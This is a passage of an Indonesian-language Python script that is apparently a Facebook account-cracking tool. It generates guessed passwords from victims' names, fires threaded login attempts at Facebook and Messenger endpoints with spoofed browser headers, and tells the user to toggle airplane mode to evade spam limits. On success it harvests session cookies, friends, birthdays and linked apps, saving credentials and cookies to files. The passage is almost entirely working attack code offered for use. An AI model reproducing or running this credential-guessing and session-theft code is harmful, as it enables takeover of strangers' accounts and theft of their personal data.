  606.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  607.             exit()      
  608.            
  609.     def Password_Tambah(self, Type_Method, Password_Akun):
  610.         try:
  611.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  612.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  613.             if Zigarete == 'y' or Zigarete =='ya':
  614.                 self.masukan_sandi.append('ya')
  615.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  616.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  617.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  618.                
  619.             else: self.masukan_sandi.append('no')
  620.             self.Exec_Methode(Type_Method, Password_Akun)
  621.         except (Exception) as e:
  622.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  623.             exit()    
  624.  
  625.     def Exec_Methode(self, Type_Method, Password_Akun):
  626.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di : /sdcard/OK/[bold green]ok-{self.alt}\n[bold green]•[bold white] Result [bold red]CP[bold white] Tersimpan Di : /sdcard/CP/[bold red]cp-{self.alt}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  627.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  628.         with ThreadPoolExecutor(max_workers=30) as V:
  629.             for Username_And_Fullname in dump:
  630.                 username, fullname = Username_And_Fullname.split('<=>')
  631.                 self.password = []
  632.                 if Password_Akun =='01' or Password_Akun =='1':
  633.                     for nama in fullname.split(' '):
  634.                         if len(nama) < 3 or len(nama) < 5: continue
  635.                         else:
  636.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
  637.                                 self.password.append(f'{str(passwords).lower()}')
  638.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  639.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  640.                             continue
  641.                         else: self.password.append(f'{str(passwords).lower()}')
  642.                 elif Password_Akun =='02' or Password_Akun =='2':
  643.                     for nama in fullname.split(' '):
  644.                         if len(nama) < 3 or len(nama) < 5: continue
  645.                         else:
  646.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}1234',f'{nama}12345']:
  647.                                 self.password.append(f'{str(passwords).lower()}')
  648.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  649.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  650.                             continue
  651.                         else: self.password.append(f'{str(passwords).lower()}')
  652.                 elif Password_Akun =='03' or Password_Akun =='3':
  653.                     for nama in fullname.split(' '):
  654.                         if len(nama) < 3 or len(nama) < 5: continue
  655.                         else:
  656.                             for passwords in ['Bismillah','Sayang',f'{nama}321',f'{nama}123', f'{nama}12345']:
  657.                                 self.password.append(f'{str(passwords).lower()}')
  658.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  659.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  660.                             continue
  661.                         else: self.password.append(f'{str(passwords).lower()}')
  662.                 elif Password_Akun =='04' or Password_Akun =='4':
  663.                     for passwords in self.password_manual:
  664.                         self.password.append(f'{passwords.lower()}')
  665.                 else:
  666.                     for nama in fullname.split(' '):
  667.                         if len(nama) < 3 or len(nama) < 5: continue
  668.                         else:
  669.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
  670.                                 self.password.append(f'{str(passwords).lower()}')
  671.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  672.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  673.                             continue
  674.                         else: self.password.append(f'{str(passwords).lower()}')
  675.                 if 'ya' in self.masukan_sandine:
  676.                     for Pemasukan_Password in self.password_manuale:
  677.                         self.password.append(Pemasukan_Password)
  678.                        
  679.                 if Type_Method in ('1') or Type_Method in ('01'): V.submit(self.ExecReguler, username, self.password)
  680.                 elif Type_Method in ('2') or Type_Method in ('02'): V.submit(self.ExecMassenger, username, self.password)
  681.                 elif Type_Method in ('3') or Type_Method in ('03'): V.submit(self.ExecBapi, username, self.password)
  682.                 elif Type_Method in ('4') or Type_Method in ('04'): V.submit(self.ExecAsyinc, username, self.password)
  683.                 else: V.submit(self.ExecReguler, username, self.password)  
  684.                            
  685.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.ok}[bold white] Hasil [bold green]Success[bold white] Dan [bold red]{self.cp}[bold white] Hasil [bold red]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] ID, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  686.         exit()                
  687.  
  688.     def ExecReguler(self, username, password):
  689.         byps = requests.Session()
  690.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  691.         ua_generate = Requ().useragent_fb()
  692.         while True:
  693.             try:
  694.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  695.                 else: ua_generate
  696.                 byps.headers.update({
  697.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  698.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  699.                     'connection': 'keep-alive',
  700.                     'sec-ch-ua-mobile': '?0',
  701.                     'sec-fetch-sest': 'document',
  702.                     'sec-fetch-mode': 'navigate',
  703.                     'sec-fetch-site': 'none',
  704.                     'cache-control': 'max-age=0',
  705.                     'sec-fetch-user': '?1',
  706.                     'upgrade-insecure-requests': '1',
  707.                     'sec-ch-ua': '"Google Chrome";v="117", "Chromium";v="117", "Not?A_Brand";v="24"',
  708.                     'user-agent': ua_generate
  709.                 })
  710.                 self.poge = byps.get('https://web.alpha.facebook.com/').text
  711.                 try:
  712.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  713.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  714.                     login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
  715.                     next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
  716.                     _js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  717.                 except (AttributeError) as e:
  718.                     continue
  719.                 self.payload = {
  720.                     'lsd': lsd,
  721.                     'jazoest': jazoest,
  722.                     'cred_type': '100',
  723.                     'login_source': login_source,
  724.                     'savepass': '',
  725.                     'persistent': '',
  726.                     'next': next
  727.                 }
  728.                 byps.headers.update({
  729.                     'origin': 'https://web.alpha.facebook.com',
  730.                     'referer': 'https://web.alpha.facebook.com/',
  731.                     'cache-control': 'max-age=0',
  732.                     'cookie': '_js_datr={}; wd=1280x601; dpr=1.5'.format(_js_datr),
  733.                     'sec-ch-ua-full-version-list': '"Google Chrome";v="117.0.6045.67", "Chromium";v="117.0.6045.67", "Not?A_Brand";v="24.0.0.0"',
  734.                     'accept-encoding': 'gzip, deflate',
  735.                     'content-type': 'application/x-www-form-urlencoded',
  736.                 })
  737.                 break
  738.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecReguler(username, password)
  739.             except (Exception) as e: pass
  740.         for passe in password:
  741.             try:
  742.                 self.payload.update({'email': username, 'pass': passe})
  743.                 self.response = byps.post('https://web.alpha.facebook.com/login/device-based/regular/login/', data = self.payload, allow_redirects = False)
  744.                 if 'c_user' in byps.cookies.get_dict().keys():
  745.                     self.ok+=1
  746.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  747.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  748.                     except (Exception) as e: convert_username = username
  749.                     if 'ya' in self.opsi:
  750.                         try:
  751.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  752.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  753.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  754.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  755.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  756.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  757.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  758.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  759.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  760.                             else:
  761.                                 for apk in active: true.add(f"{apk}")
  762.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  763.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  764.                             else:
  765.                                 for apk in inactive: true.add(f"{apk}")
  766.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  767.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  768.                             else:
  769.                                 for apk in deleted: true.add(f"{apk}")
  770.                             printz(tree)
  771.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  772.                         except (Exception) as e:
  773.                             print(e)
  774.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  775.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  776.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  777.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  778.                             printz(tree)
  779.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  780.                     else:
  781.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  782.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  783.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  784.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  785.                         printz(tree)
  786.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  787.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  788.                         wr.write(save)
  789.                         wr.close()
  790.                     break
  791.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  792.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  793.                     except (Exception) as e: convert_username = username
  794.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  795.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  796.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  797.                     printz(tree)
  798.                     self.cp+=1
  799.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  800.                         wr.write(f'{convert_username}|{passe}\n')
  801.                         wr.close()
  802.                     break  
  803.                 else: continue
  804.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  805.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  806.                 time.sleep(31)
  807.         self.lp+=1  
  808.        
  809.     def ExecMassenger(self, username, password):
  810.         byps = requests.Session()
  811.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  812.         ua_generate = Requ().useragent_fb()
  813.         while True:
  814.             try:
  815.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  816.                 else: ua_generate
  817.                 byps.headers.update({
  818.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  819.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  820.                     'connection': 'keep-alive',
  821.                     'sec-ch-ua-mobile': '?0',
  822.                     'sec-fetch-sest': 'document',
  823.                     'sec-fetch-mode': 'navigate',
  824.                     'sec-fetch-site': 'none',
  825.                     'cache-control': 'max-age=0',
  826.                     'sec-fetch-user': '?1',
  827.                     'upgrade-insecure-requests': '1',
  828.                     'sec-ch-ua': '"Google Chrome";v="117", "Chromium";v="117", "Not?A_Brand";v="24"',
  829.                     'user-agent': ua_generate
  830.                 })
  831.                 self.poge = byps.get('https://www.alpha.messenger.com/').text
  832.                 try:
  833.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  834.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  835.                     initial_request_id = re.search('name="initial_request_id" value="(.*?)"', str(self.poge)).group(1)
  836.                     lgnrnd = re.search('name="lgnrnd" value="(.*?)"', str(self.poge)).group(1)
  837.                     lgnjs = re.search('name="lgnjs" value="(.*?)"', str(self.poge)).group(1)
  838.                     _js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  839.                 except (AttributeError) as e:
  840.                     continue
  841.                 self.payload = {
  842.                     'lsd': lsd,
  843.                     'jazoest': jazoest,
  844.                     'initial_request_id': initial_request_id,
  845.                     'timezone': '-420',
  846.                     'lgndim': '',
  847.                     'lgnrnd': lgnrnd,
  848.                     'lgnjs': lgnjs,
  849.                     'login': '1',
  850.                     'persistent': '1',
  851.                     'default_persistent': ''
  852.                 }
  853.                 byps.headers.update({
  854.                     'origin': 'https://www.alpha.messenger.com',
  855.                     'referer': 'https://www.alpha.messenger.com/',
  856.                     'cache-control': 'max-age=0',
  857.                     'cookie': '_js_datr={}; wd=1280x601; dpr=1.5'.format(_js_datr),
  858.                     'sec-ch-ua-full-version-list': '"Google Chrome";v="117.0.6045.67", "Chromium";v="117.0.6045.67", "Not?A_Brand";v="24.0.0.0"',
  859.                     'accept-encoding': 'gzip, deflate',
  860.                     'content-type': 'application/x-www-form-urlencoded',
  861.                 })
  862.                 break
  863.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecMassenger(username, password)
  864.             except (Exception) as e: pass
  865.         for passe in password:
  866.             try:
  867.                 self.payload.update({'email': username, 'pass': passe})
  868.                 self.response = byps.post('https://www.alpha.messenger.com/login/password/', data = self.payload, allow_redirects = True)
  869.                 if 'c_user' in byps.cookies.get_dict().keys():
  870.                     self.ok+=1
  871.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  872.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  873.                     except (Exception) as e: convert_username = username
  874.                     if 'ya' in self.opsi:
  875.                         try:
  876.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  877.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  878.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  879.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  880.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  881.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  882.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  883.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  884.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  885.                             else:
  886.                                 for apk in active: true.add(f"{apk}")
  887.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  888.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  889.                             else:
  890.                                 for apk in inactive: true.add(f"{apk}")
  891.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  892.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  893.                             else:
  894.                                 for apk in deleted: true.add(f"{apk}")
  895.                             printz(tree)
  896.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  897.                         except (Exception) as e:
  898.                             print(e)
  899.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  900.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  901.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  902.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  903.                             printz(tree)
  904.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  905.                     else:
  906.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  907.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  908.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  909.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  910.                         printz(tree)
  911.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  912.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  913.                         wr.write(save)
  914.                         wr.close()
  915.                     break
  916.                 elif 'checkpoint_interstitial' in str(self.response.url):
  917.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  918.                     except (Exception) as e: convert_username = username
  919.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  920.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  921.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  922.                     printz(tree)
  923.                     self.cp+=1
  924.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  925.                         wr.write(f'{convert_username}|{passe}\n')
  926.                         wr.close()
  927.                     break  
  928.                 else: continue
  929.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  930.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  931.                 time.sleep(31)
  932.         self.lp+=1    
  933.        
  934.     def ExecAsyinc(self, username, password):
  935.         byps = requests.Session()
  936.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  937.         ua_generate = Requ().useragent_fb()
  938.         while True:
  939.             try:
  940.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  941.                 else: ua_generate
  942.                 self.poge = byps.get('https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=1224840394326213&kid_directed_site=0&app_id=1224840394326213&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv17.0%2Fdialog%2Foauth%3Fdisplay%3Dpopup%26client_id%3D1224840394326213%26state%3D3e5410fe-4636-4e2b-aee6-1e1de394ce73%26response_type%3Dcode%26sdk%3Dphp-sdk-5.7.0%26redirect_uri%3Dhttps%253A%252F%252Fgameforge.com%252Fservice%252Fexternal-auth%252Fauth%252Fcallback%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D454116b9-2bd1-46f2-b021-728c83289716%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fgameforge.com%2Fservice%2Fexternal-auth%2Fauth%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D3e5410fe-4636-4e2b-aee6-1e1de394ce73%23_%3D_&display=touch&locale=pt_BR&pl_dbl=0&refsrc=deprecated&_rdr').text
  943.                 try:
  944.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  945.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  946.                     li = re.search('name="li" value="(.*?)"', str(self.poge)).group(1)
  947.                     m_ts = re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1)
  948.                 except (AttributeError) as e:
  949.                     continue
  950.                 self.payload = {
  951.                     'm_ts': m_ts,
  952.                     'li': li,
  953.                     'try_number': '0',
  954.                     'unrecognized_tries': '0',
  955.                     'prefill_contact_point': username,
  956.                     'prefill_source': 'browser_dropdown',
  957.                     'prefill_type': 'password',
  958.                     'first_prefill_source': 'browser_dropdown',
  959.                     'first_prefill_type': 'contact_point',
  960.                     'had_cp_prefilled': 'true',
  961.                     'had_password_prefilled': 'true',
  962.                     'is_smart_lock': 'false',
  963.                     'bi_xrwh': '0',
  964.                     'lsd': lsd,
  965.                     'jazoest': jazoest
  966.                 }
  967.                 byps.headers.update({
  968.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()]),
  969.                     'accept': '*/*',
  970.                     'accept-language': "en-US,id-ID,id;q=0.9",
  971.                     'user-agent': ua_generate,
  972.                     'Host': 'm.alpha.facebook.com',
  973.                     'x-fb-lsd': re.search('name="lsd" value="(.*?)"',str(self.poge)).group(1),
  974.                     'sec-ch-ua': '"Chromium";v="117", "Not(A:Brand";v="24", "Google Chrome";v="117"',
  975.                     'x-requested-with': 'mark.via.gp',
  976.                     'sec-ch-ua-mobile': '?1',
  977.                     'sec-fetch-mode': 'navigate',
  978.                     'Connection': 'keep-alive',
  979.                     'sec-fetch-site': 'none',
  980.                     'origin': 'https://m.alpha.facebook.com',
  981.                     "sec-ch-ua-platform": "Linux",
  982.                     'x-asbd-id': '129477',
  983.                     'referer': 'https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=1224840394326213&kid_directed_site=0&app_id=1224840394326213&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv17.0%2Fdialog%2Foauth%3Fdisplay%3Dpopup%26client_id%3D1224840394326213%26state%3D3e5410fe-4636-4e2b-aee6-1e1de394ce73%26response_type%3Dcode%26sdk%3Dphp-sdk-5.7.0%26redirect_uri%3Dhttps%253A%252F%252Fgameforge.com%252Fservice%252Fexternal-auth%252Fauth%252Fcallback%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D454116b9-2bd1-46f2-b021-728c83289716%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fgameforge.com%2Fservice%2Fexternal-auth%2Fauth%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D3e5410fe-4636-4e2b-aee6-1e1de394ce73%23_%3D_&display=touch&locale=pt_BR&pl_dbl=0&refsrc=deprecated&_rdr',
  984.                     'sec-fetch-dest': 'document',
  985.                     'content-type': 'application/x-www-form-urlencoded',
  986.                     'upgrade-insecure-requests': '1',
  987.                     'sec-ch-ua-full-version-list': '"Chromium";v="117.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="117.0.6261.64"',
  988.                     'accept-encoding': 'gzip, deflate',
  989.                     'x-response-format': 'JSONStream',
  990.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  991.                 })
  992.                 break
  993.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecAsyinc(username, password)
  994.             except (Exception) as e: pass
  995.         for passe in password:
  996.             try:
  997.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10], passe)})
  998.                 self.response = byps.post('https://m.alpha.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100', data = self.payload, allow_redirects = True)
  999.                 if 'c_user' in byps.cookies.get_dict().keys():
  1000.                     self.ok+=1
  1001.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1002.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1003.                     except (Exception) as e: convert_username = username
  1004.                     if 'ya' in self.opsi:
  1005.                         try:
  1006.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1007.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1008.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1009.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1010.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1011.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1012.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1013.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1014.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1015.                             else:
  1016.                                 for apk in active: true.add(f"{apk}")
  1017.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1018.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1019.                             else:
  1020.                                 for apk in inactive: true.add(f"{apk}")
  1021.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1022.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1023.                             else:
  1024.                                 for apk in deleted: true.add(f"{apk}")
  1025.                             printz(tree)
  1026.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  1027.                         except (Exception) as e:
  1028.                             print(e)
  1029.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1030.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1031.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1032.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1033.                             printz(tree)
  1034.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1035.                     else:
  1036.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
